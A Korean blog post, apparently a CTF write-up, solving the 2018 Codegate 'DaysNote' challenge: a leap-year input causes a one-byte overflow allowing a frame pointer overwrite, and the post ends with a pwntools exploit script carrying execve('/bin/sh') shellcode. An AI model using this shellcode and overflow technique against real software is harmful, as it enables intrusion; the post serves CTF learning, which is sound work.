HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • 아파치
  • 취약점
  • log4j
  • JNDI

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9
카테고리 없음

2018 Codegate - DaysNote

2018 Codegate - DaysNote
카테고리 없음

2018 Codegate - DaysNote

2021. 10. 1. 15:49
728x90

어려운 문제는 아닌데,

나에게 악몽같은 문제다.

 

한번 풀어보자

 

checksec을 통해서

해당 바이너리의 보호기법이 Partial RELRO를 제외하고는 없는 것을 알 수가 있다.

NX가 꺼져있어서 이를 이용할 생각을 하고 문제를 풀었다. 

 

 

.

.

.

 

해당 바이너리를 실행을 해보니 년도를 받고, 데이터(?)를 받는 것을 알 수가 있다.

그러면 바이너리를 분석을해보자

 

IDA를 통해서 해당 바이너리의 main 함수를 확인해봤다.

딱히 문제가 되는 것 처럼 보이는 곳은 없었다.

 

 

CallWriteNote로 이동을 하니 WriteNote로 한번 더 이동하는 것을 알 수가 있다.

한번 더 이동을 해보자.

 

 

 

WriteNote함수를 확인을 해보니,

strncpy를 이용을 하는 것으로 보인다.

이 외에는 다른 기능을 하는 것은 없어보인다..

 

 

솔직히 처음 이 문제를 풀때

윤년이라는 것을  생각을 못했다.

난 개병신인거 같다.

 

윤년만 알아도 그냥 쉽게 풀리는 문제다.

윤년은 1년이 365 -> 366이 되는 날인데,

4년주기로 온다고 한다...

 

이를 통해서 1byte가 overflow되서 FPO가 가능하게 된다.

FPO를 통해서 shllcode를 실행시켜도 되고, rop를 사용해도 될 것 같다.

 

#!/usr/bin/python

from pwn import *

p   =   process('./DaysNote')
e   =   ELF('./DaysNote')
l   =   ELF('/lib/x86_64-linux-gnu/libc.so.6')


p.recvuntil(': ')
p.sendline('2016') #Leaf Year #One-byte BOF
shellcode = "\x31\xc0\x31\xd2\xb0\x0f\x2c\x04\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"

payload = shellcode
payload += "A"*(365-len(shellcode))
payload += "\x40"


p.sendlineafter(": ",payload)

p.interactive()

    HO_9
    HO_9

    티스토리툴바

    단축키

    내 블로그

    내 블로그 - 관리자 홈 전환
    Q
    Q
    새 글 쓰기
    W
    W

    블로그 게시글

    글 수정 (권한 있는 경우)
    E
    E
    댓글 영역으로 이동
    C
    C

    모든 영역

    이 페이지의 URL 복사
    S
    S
    맨 위로 이동
    T
    T
    티스토리 홈 이동
    H
    H
    단축키 안내
    Shift + /
    ⇧ + /

    * 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.